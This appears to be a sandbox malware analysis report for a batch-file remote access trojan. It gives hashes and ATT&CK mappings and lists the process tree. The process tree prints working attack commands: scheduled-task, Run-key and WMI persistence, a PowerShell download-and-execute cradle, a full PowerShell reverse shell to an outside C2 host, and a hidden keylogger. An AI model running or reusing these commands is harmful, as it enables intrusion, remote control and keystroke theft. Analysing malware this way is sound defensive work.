0dc80b9ede093d3b3195e5d35d167db68bfd3c8173488eceeb1bd777da2ff383

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:18

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General

Target
rat_build_96963_014311.bat
Size 4KB
Sample260529-17xpyscs7p
SHA256 0dc80b9ede093d3b3195e5d35d167db68bfd3c8173488eceeb1bd777da2ff383
MD5 f8df6a426592d48f64c3384cbfd23eb0
SHA1 0fa7454524ea84deadb5973c4f154cd52e571d1b
SHA512 04f4d7a6bebdd873e899e8886485f4077cc3196d2fa630702746994cf3bdf0175c0183add5c1189823d3c15a38e96df4bb18fd81e64146fa88fbff28755920ef
SSDEEP 96:oIihWUd9zkNzIw/SFfFSmqwiZ6OxZKeU71scLgVB1iFgZk8mvlo1sh8:oeUd9Q4KZescL8iFgkHljh8
TLSH
T103A12723978B762084F05A18D9323CA8576CD6FB1301DB8EFB488DC51A4CA83D56D5F7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_96963.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3452	powershell.exe
4772	powershell.exe
3968	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_96963 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_96963.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4840	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3008	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3560	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3460	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3452	powershell.exe
3452	powershell.exe
3452	powershell.exe
4772	powershell.exe
4772	powershell.exe
4772	powershell.exe
3968	powershell.exe
3968	powershell.exe
3968	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3008	WMIC.exe
Token: SeSecurityPrivilege	3008	WMIC.exe
Token: SeTakeOwnershipPrivilege	3008	WMIC.exe
Token: SeLoadDriverPrivilege	3008	WMIC.exe
Token: SeSystemProfilePrivilege	3008	WMIC.exe
Token: SeSystemtimePrivilege	3008	WMIC.exe
Token: SeProfSingleProcessPrivilege	3008	WMIC.exe
Token: SeIncBasePriorityPrivilege	3008	WMIC.exe
Token: SeCreatePagefilePrivilege	3008	WMIC.exe
Token: SeBackupPrivilege	3008	WMIC.exe
Token: SeRestorePrivilege	3008	WMIC.exe
Token: SeShutdownPrivilege	3008	WMIC.exe
Token: SeDebugPrivilege	3008	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3008	WMIC.exe
Token: SeRemoteShutdownPrivilege	3008	WMIC.exe
Token: SeUndockPrivilege	3008	WMIC.exe
Token: SeManageVolumePrivilege	3008	WMIC.exe
Token: 33	3008	WMIC.exe
Token: 34	3008	WMIC.exe
Token: 35	3008	WMIC.exe
Token: 36	3008	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3008	WMIC.exe
Token: SeSecurityPrivilege	3008	WMIC.exe
Token: SeTakeOwnershipPrivilege	3008	WMIC.exe
Token: SeLoadDriverPrivilege	3008	WMIC.exe
Token: SeSystemProfilePrivilege	3008	WMIC.exe
Token: SeSystemtimePrivilege	3008	WMIC.exe
Token: SeProfSingleProcessPrivilege	3008	WMIC.exe
Token: SeIncBasePriorityPrivilege	3008	WMIC.exe
Token: SeCreatePagefilePrivilege	3008	WMIC.exe
Token: SeBackupPrivilege	3008	WMIC.exe
Token: SeRestorePrivilege	3008	WMIC.exe
Token: SeShutdownPrivilege	3008	WMIC.exe
Token: SeDebugPrivilege	3008	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3008	WMIC.exe
Token: SeRemoteShutdownPrivilege	3008	WMIC.exe
Token: SeUndockPrivilege	3008	WMIC.exe
Token: SeManageVolumePrivilege	3008	WMIC.exe
Token: 33	3008	WMIC.exe
Token: 34	3008	WMIC.exe
Token: 35	3008	WMIC.exe
Token: 36	3008	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1696	WMIC.exe
Token: SeSecurityPrivilege	1696	WMIC.exe
Token: SeTakeOwnershipPrivilege	1696	WMIC.exe
Token: SeLoadDriverPrivilege	1696	WMIC.exe
Token: SeSystemProfilePrivilege	1696	WMIC.exe
Token: SeSystemtimePrivilege	1696	WMIC.exe
Token: SeProfSingleProcessPrivilege	1696	WMIC.exe
Token: SeIncBasePriorityPrivilege	1696	WMIC.exe
Token: SeCreatePagefilePrivilege	1696	WMIC.exe
Token: SeBackupPrivilege	1696	WMIC.exe
Token: SeRestorePrivilege	1696	WMIC.exe
Token: SeShutdownPrivilege	1696	WMIC.exe
Token: SeDebugPrivilege	1696	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1696	WMIC.exe
Token: SeRemoteShutdownPrivilege	1696	WMIC.exe
Token: SeUndockPrivilege	1696	WMIC.exe
Token: SeManageVolumePrivilege	1696	WMIC.exe
Token: 33	1696	WMIC.exe
Token: 34	1696	WMIC.exe
Token: 35	1696	WMIC.exe
Token: 36	1696	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1696	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4852 wrote to memory of 3460	4852	cmd.exe	87
PID 4852 wrote to memory of 3560	4852	cmd.exe	88
PID 4852 wrote to memory of 3008	4852	cmd.exe	89
PID 4852 wrote to memory of 1696	4852	cmd.exe	90
PID 4852 wrote to memory of 4208	4852	cmd.exe	91
PID 4852 wrote to memory of 3008	4852	cmd.exe	108
PID 4852 wrote to memory of 4840	4852	cmd.exe	111
PID 4852 wrote to memory of 3452	4852	cmd.exe	112
PID 4852 wrote to memory of 4772	4852	cmd.exe	113
PID 4852 wrote to memory of 3968	4852	cmd.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_96963_014311.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4852
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_96963" /tr "C:\Users\Admin\AppData\Local\Temp\_96963.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3460
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_96963" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_96963.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3560
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_96963", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3008
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_96963", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_96963.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1696
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_96963.txt
  2⤵
  PID:4208
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:3008
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_96963.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3968

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 34cba8145c66f3cb01571e9ee36da886650e353b61ad94fbb602f45c9d82e07f
MD5 0f1b5968097ceafb913e7c9102628526
SHA1 86eba1ec6744e2cb8347001488c18ee39e0b3cee
SHA512 45a365797a92b7df96037902572d574a48e26170f692bfdf8b610a44aef948cadbf8b48fdb3ad29c993f6e4219f959e81885000e5f31b3326a1f326a76bc8200
TLSH
T1EC117627F39CC921CC96153A409DAC1176B683DB81AEDF9FAFC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0d5507fa72fa731e53374f15752bcd6204889a80174b7d61bbd2256e7caad424
MD5 214049bdc8d473528180bb22e9fa3ce8
SHA1 243a406d6918c60e2763c2205592ff01ea2f6419
SHA512 dceeb8a4a1ac2b9d195c5b6480d9de0543823ac20c8e1b0c7b3851a625ed0d321e41cfd106198701f9bfce08e75bcc249a226171af3b9bafa9983e168d14c332
TLSH
T187115727B39C89A1CC96163A409D9C1172B683DB409EDEDF6BC0D214E1BF584CB71190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_sg4a5z4r.zux.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sg4a5z4r.zux.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3452-3-0x0000018CD5AE0000-0x0000018CD5B02000-memory.dmp

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